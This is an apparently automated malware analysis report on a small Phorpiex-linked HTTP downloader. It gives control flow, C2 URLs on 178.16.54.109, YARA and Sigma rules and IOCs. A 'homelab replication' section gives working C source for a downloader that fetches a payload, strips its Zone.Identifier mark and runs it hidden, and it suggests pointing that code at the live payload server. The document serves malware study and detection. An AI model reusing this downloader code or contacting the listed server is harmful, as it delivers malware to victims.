typeanalysisfamilyphorpiexconfidencemediumcreated2026-06-03updated2026-06-03pemalware-familyloaderc2defense-evasionmitre-attck
SHA-256: 6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339

phorpiex: 6b8527a7 — MSVC9 thin HTTP downloader with mutex-gated payload branching

Executive Summary

A 10 KB PE32 downloader built with Visual C++ 2008 (MSVCR90.dll), compiled 2026-05-22. It pulls up to six payloads sequentially over cleartext HTTP from 178.16.54.109, branches execution based on architecture (x64) and Windows build number (Win11/recent Win10), and gates downloads with marker files in %appdata%. Payloads are written to randomly-named files in %TEMP%, their Zone.Identifier ADS stripped, then executed via CreateProcessW (CREATE_NO_WINDOW) with a ShellExecuteW fallback. Zero packing, zero string encryption, and only a 2-second Sleep at entry point for rudimentary sandbox evasion.

What It Is

Field Value
SHA-256 6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339
File type PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
Size 10 240 bytes
Linker MSVC 9.0 (Visual Studio 2008) ^[exiftool.json:18]
CRT MSVCR90.dll (static manifest dependency on VC90.CRT 9.0.21022.8) ^[strings.txt:73]
Compile timestamp 2026-05-22 16:56:51 UTC ^[pefile.txt:33]
Entry point 0x1885 (standard __tmainCRTStartupmain) ^[pefile.txt:50]
Signed No ^[rabin2-info.txt:27]
Packed No ^[binwalk.txt]
CAPE detonation Skipped — no Windows guest available ^[dynamic-analysis.md]

OpenCTI / MalwareBazaar label it dropped-by-phorpiex. Confidence remains medium: the label is an umbrella for crimeware spam-delivery campaigns rather than a single code base. This sample's build style (MSVC9 + MSVCR90 + thin IAT) is consistent with historical Phorpiex droppers (e.g. 755bed07) but it eschews the initterm payload-staging seen in earlier siblings in favour of honest main() execution. ^[entities/phorpiex.md]

How It Works

Control Flow

main() (Ghidra: FUN_004014b3) sleeps 2 seconds, then drives the entire show in a flat sequence:

  1. Download 14.exe → execute ^[ghidra:FUN_004014b3]
  2. Download 15.exe → execute
  3. Download peinf.exe → execute
  4. Gate A — check %appdata%\d3333333333333333333.txt. If absent, create it and proceed; else skip all remaining payloads.
  5. Gate B — check %SYSTEMDRIVE%\Program Files (x86) exists (x64 Windows). If true, proceed.
  6. Gate C — call RtlGetVersion via GetProcAddress; require MajorVersion == 10, MinorVersion == 0, BuildNumber > 21999 (Windows 11 or very recent Windows 10). ^[ghidra:FUN_00401435]
  7. If A+B+C pass: download xmr.exe → execute
  8. If A+B+C pass: download xmrget.exe → execute
  9. Gate D — check %appdata%\f3f3f3d3d.txt. If absent, create it and proceed; else skip.
  10. If D passes: download grab.exe → execute

This is the classic Phorpiex campaign pattern: deliver commodity payloads conditionally based on victim environment, with xmr/xmrget strongly indicating cryptocurrency-mining follow-on and grab / peinf suggesting infostealer or grabber modules.

Downloader Routine (FUN_004010a8)

The downloader implements a dual-path fetch with fallback:

Primary path — WinInet API:

  • Seed PRNG with GetTickCount() via srand. ^[ghidra:FUN_004010a8]
  • Expand %TEMP% to a 260-char buffer.
  • Generate filename %TEMP%\<rand>_<rand>.exe where each random suffix is rand() % 0x7fff + 9000.
  • InternetOpenW with hardcoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 (a 64-bit UA from a 32-bit binary).
  • InternetOpenUrlWInternetReadFile (4 KB chunks) → CreateFileWWriteFileCloseHandle.
  • Compose %s:Zone.Identifier path and DeleteFileW it to strip the download origin mark. ^[ghidra:FUN_004010a8]
  • Sleep 1 second, then attempt execution via FUN_00401000.

Fallback path — URLMon:

  • If the WinInet path fails (or the execution helper returns false), the function:
    • Sleeps a random duration up to 5 minutes (rand() % 60000 * 5).
    • Regenerates a random %TEMP% filename.
    • Calls URLDownloadToFileW(NULL, URL, path, 0, NULL). ^[ghidra:FUN_004010a8]
    • Repeats Zone.Identifier deletion and execution attempt.

Execution Helper (FUN_00401000)

Takes the downloaded path and attempts CreateProcessW with dwCreationFlags = 0x20 (CREATE_NO_WINDOW). If that fails, falls back to ShellExecuteW(hwnd=NULL, verb=L"open", file=path, ...) with nShowCmd = 0 (SW_HIDE). Both paths sleep 1 second before closing handles. ^[ghidra:FUN_00401000]

Marker File Gating (FUN_004012fb / FUN_00401370)

Two functions share an identical template:

  • Expand %appdata%.
  • PathCombineW with a hardcoded filename (d3333333333333333333.txt or f3f3f3d3d.txt).
  • PathFileExistsW. If absent, CreateFileW (CREATE_ALWAYS) then CloseHandle, returning TRUE.
  • If present, return FALSE.

These act as poor-man's mutexes — marker files that suppress re-execution of payload branches on subsequent runs. ^[ghidra:FUN_004012fb] ^[ghidra:FUN_00401370]

Decompiled Behavior

Entry point (__tmainCRTStartup) is the standard MSVCR90 CRT wrapper: __wgetmainargs__tmainCRTStartupmain. No initterm hijack, no pre-main payload. The .text section contains all logic in ~3.5 KB. No anti-debug checks are called in the execution path, despite IsDebuggerPresent appearing in the IAT as an unused CRT import. ^[pefile.txt:331]

Notable functions:

Address Name Role
0x4014b3 main Orchestrator: Sleep → sequential downloads → gating
0x4010a8 download_and_execute WinInet primary + URLMon fallback, Zone.Identifier cleanup
0x401000 exec_file CreateProcessW (CREATE_NO_WINDOW) → ShellExecuteW (open, SW_HIDE)
0x4012fb check_first_marker %appdata%\d3333333333333333333.txt gate
0x401370 check_second_marker %appdata%\f3f3f3d3d.txt gate
0x4013e5 is_x64_windows PathFileExistsW("%SYSTEMDRIVE%\Program Files (x86)")
0x401435 is_recent_win10_or_win11 RtlGetVersionMajor==10 && Minor==0 && Build>21999

C2 Infrastructure

All communication is cleartext HTTP to a single IP. No HTTPS, no domain, no User-Agent rotation, no secondary C2.

URL Purpose Gate required
http://178.16.54.109/14.exe Generic payload None
http://178.16.54.109/15.exe Generic payload None
http://178.16.54.109/peinf.exe Generic payload None
http://178.16.54.109/xmr.exe Likely cryptominer x64 + Build >21999
http://178.16.54.109/xmrget.exe Likely cryptominer fetcher x64 + Build >21999
http://178.16.54.109/grab.exe Likely infostealer/grabber Marker file D

Static-only inference — the payload files themselves were not retrieved. The naming (xmr, xmrget, grab, peinf) and the campaign context (dropped-by-phorpiex) support the inferred mapping above. No dynamic execution was available to confirm runtime behavior.

Interesting Tidbits

  • Compilation recency: 2026-05-22, only four days before triage. This is a live campaign build. ^[rabin2-info.txt:11]
  • 64-bit persona, 32-bit body: The hardcoded Chrome UA claims Win64; x64, yet the binary is i386 PE32. A minor opsec mismatch. ^[ghidra:FUN_004010a8]
  • No packing, no obfuscation: Every URL, API name, and file path is stored as plain UTF-16LE in .rdata. The .text entropy is 6.10 — typical for compiled C, not packed. ^[pefile.txt:92]
  • No persistence: The downloader writes nothing to Run keys, scheduled tasks, or startup folders. It relies on the spam delivery vector executing again (or the downloaded payloads handling their own persistence).
  • Zone.Identifier deletion is the only defense-evasion action beyond basic Sleep gating. This is a standard Phorpiex trait. ^[entities/phorpiex.md]
  • Absent from this build: The initterm payload-hijack callback array seen in older Phorpiex siblings (755bed07) is completely absent. This sample uses an honest CRT main entry.

How To Mess With It (Homelab Replication)

You can reproduce a functionally identical downloader in ~150 lines of C with Visual Studio 2008 (or modern VS with /MT and a VC90 manifest).

Toolchain:

  • Visual C++ 2008 (cl.exe 15.00) or modern VS with /MT + Microsoft.VC90.CRT manifest dependency.
  • Link against: kernel32.lib, wininet.lib, urlmon.lib, shlwapi.lib, shell32.lib, user32.lib, msvcrt.lib.

Key source skeleton:

#include <windows.h>
#include <wininet.h>
#include <urlmon.h>
#include <shlwapi.h>
#include <shellapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "shell32.lib")

BOOL download_and_run(LPCWSTR url) {
    WCHAR tmp[260], path[260], zone[260];
    ExpandEnvironmentStringsW(L"%TEMP%", tmp, 260);
    srand(GetTickCount());
    _snwprintf(path, 260, L"%s\\%d%d.exe", tmp, rand()%0x7fff+9000, rand()%0x7fff+9000);

    HINTERNET h = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...", 0,0,0,0);
    HINTERNET u = InternetOpenUrlW(h, url, NULL, 0, 0, 0);
    HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD rd, wr; BYTE buf[4096];
    while (InternetReadFile(u, buf, sizeof(buf), &rd) && rd) WriteFile(f, buf, rd, &wr, NULL);
    CloseHandle(f); InternetCloseHandle(u); InternetCloseHandle(h);

    _snwprintf(zone, 260, L"%s:Zone.Identifier", path);
    DeleteFileW(zone);
    Sleep(1000);

    STARTUPINFOW si = {sizeof(si)}; PROCESS_INFORMATION pi;
    if (CreateProcessW(NULL, path, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return TRUE; }
    if ((int)ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_HIDE) > 32) return TRUE;
    return FALSE;
}

Verification:

  1. Compile as /MT Release Win32.
  2. Run on a Win11 VM with Process Monitor and Wireshark.
  3. Expect outbound HTTP GET to 178.16.54.109 (or replace with your own test HTTP server).
  4. Expect %TEMP%\<rand>_<rand>.exe creation, Zone.Identifier deletion, and CreateProcessW with CREATE_NO_WINDOW.
  5. Observe that %appdata%\d3333333333333333333.txt and f3f3f3d3d.txt are created on first run and suppress branches on rerun.

Deployable Signatures

YARA Rule

rule Phorpiex_Thin_MSVC9_Downloader_2026 {
    meta:
        description = "Phorpiex-style thin MSVC9 PE32 downloader with dual HTTP fetch and Zone.Identifier cleanup"
        author = "PacketPursuit"
        date = "2026-06-03"
        sha256 = "6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339"
    strings:
        $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" wide
        $temp = "%TEMP%" wide
        $appd = "%appdata%" wide
        $zone = "%s:Zone.Identifier" wide
        $fmt = "%s\\%d%d.exe" wide
        $marker1 = "d3333333333333333333.txt" wide
        $marker2 = "f3f3f3d3d.txt" wide
        $ntdll = "ntdll.dll" wide
        $rtlget = "RtlGetVersion" ascii
        $url1 = "http://178.16.54.109/14.exe" wide
        $url2 = "http://178.16.54.109/15.exe" wide
        $url3 = "http://178.16.54.109/peinf.exe" wide
    condition:
        uint16(0) == 0x5a4d and
        pe.imports("WININET.dll", "InternetOpenUrlW") and
        pe.imports("urlmon.dll", "URLDownloadToFileW") and
        ($ua or $zone or $fmt) and
        any of ($url*)
}

Sigma Rules

File-event — marker file creation:

title: Phorpiex Downloader Marker File Creation
status: experimental
description: Detects creation of Phorpiex mutex-style marker files in AppData
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            - 'd3333333333333333333.txt'
            - 'f3f3f3d3d.txt'
    condition: selection
falsepositives:
    - Unlikely
level: high

Network — known payload server:

title: Phorpiex Payload Server HTTP Request
status: experimental
description: Detects HTTP requests to known Phorpiex payload server 178.16.54.109
logsource:
    category: proxy
detection:
    selection:
        cs-host|contains:
            - '178.16.54.109'
    condition: selection
falsepositives:
    - Unlikely
level: high

IOC List

Type Value Note
SHA-256 6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339 Downloader
IP 178.16.54.109 Payload server (Moldova, inferred from ASN geolocation)
URL http://178.16.54.109/14.exe Generic payload
URL http://178.16.54.109/15.exe Generic payload
URL http://178.16.54.109/peinf.exe Generic payload
URL http://178.16.54.109/xmr.exe Gated: x64 + Win10 build >21999
URL http://178.16.54.109/xmrget.exe Gated: x64 + Win10 build >21999
URL http://178.16.54.109/grab.exe Gated: marker file D
File %TEMP%\<rand><rand>.exe Randomized name, 9000–32766 range
File %appdata%\d3333333333333333333.txt First-run marker
File %appdata%\f3f3f3d3d.txt Second-run marker
ADS deletion %TEMP%\*.exe:Zone.Identifier Strips download origin mark
UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Hardcoded Chrome 128

Behavioral Fingerprint Statement

This 10 KB MSVC9 PE32 executable downloads payloads over cleartext HTTP using a hardcoded Chrome 128 User-Agent string (claiming x64 despite being 32-bit), writes them to randomly-named files in %TEMP% (%s\<rand><rand>.exe), strips their Zone.Identifier NTFS ADS to unblock execution, and runs them via CreateProcessW with CREATE_NO_WINDOW (falling back to ShellExecuteW with SW_HIDE). Payload selection is branched by architecture (%SYSTEMDRIVE%\Program Files (x86) check), by Windows build number (RtlGetVersion > 21999), and by mutex-style marker files (d3333333333333333333.txt / f3f3f3d3d.txt) in %appdata%.

Detection Signatures

ATT&CK Technique Implementation Evidence Provenance
T1204.002 — User Execution: Malicious File Spam-delivered PE executing as user OpenCTI label dropped-by-phorpiex
T1105 — Ingress Tool Transfer HTTP download of .exe payloads InternetOpenUrlW + URLDownloadToFileW ^[ghidra:FUN_004010a8]
T1071.001 — Application Layer Protocol: Web Protocols Cleartext HTTP GET to 178.16.54.109 Hardcoded URLs ^[r2:strings]
T1497.001 — Virtualization/Sandbox Evasion: System Checks RtlGetVersion build gating FUN_00401435 ^[ghidra:FUN_00401435]
T1564 — Hide Artifacts Zone.Identifier ADS deletion DeleteFileW("%s:Zone.Identifier") ^[ghidra:FUN_004010a8]
T1055 — Process Injection (none observed) Not applicable No VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread in IAT or decompile
T1547 — Boot or Logon Autostart Execution (none observed) Not applicable No registry writes, no startup-folder copies

References

  • phorpiex — Family entity page
  • Artifact ID: 0a6041cf-e7a6-460b-937d-3ba64b358d21 (OpenCTI)
  • MalwareBazaar: https://mb-api.abuse.ch/api/v1/ (SHA-256 6b8527a7...)
  • MSVCR90 CRT startup reference: https://docs.microsoft.com/en-us/cpp/c-runtime-library/crt-library-features

Provenance

This report was produced from static artifacts gathered by the triage/deep-drain pipeline plus active reverse-engineering with radare2 and Ghidra. No dynamic execution (CAPE) was available for this sample.

Tool / File Version / Note
file(1) PE32 executable (GUI) Intel 80386 ^[file.txt]
rabin2 radare2 — compiled timestamp extraction, strings, decompilation ^[rabin2-info.txt]
pefile Python pefile — section/entropy/import analysis ^[pefile.txt]
ExifTool 12.76 — PE optional-header metadata ^[exiftool.json]
Ghidra Automated analysis + pseudo-C decompilation of all functions
capa FAILED — default signature path missing (pipeline configuration issue) ^[capa.txt]
floss FAILED — CLI argument parsing error (pipeline bug) ^[floss.txt]
binwalk No embedded objects beyond standard PE headers ^[binwalk.txt]
YARA PE_File_Generic, Suspicious_Wininet_Imports ^[yara.txt]

Report generated by Hermes deep-analysis agent — Demetrian Titus, Lieutenant, Ultramarines Second Company.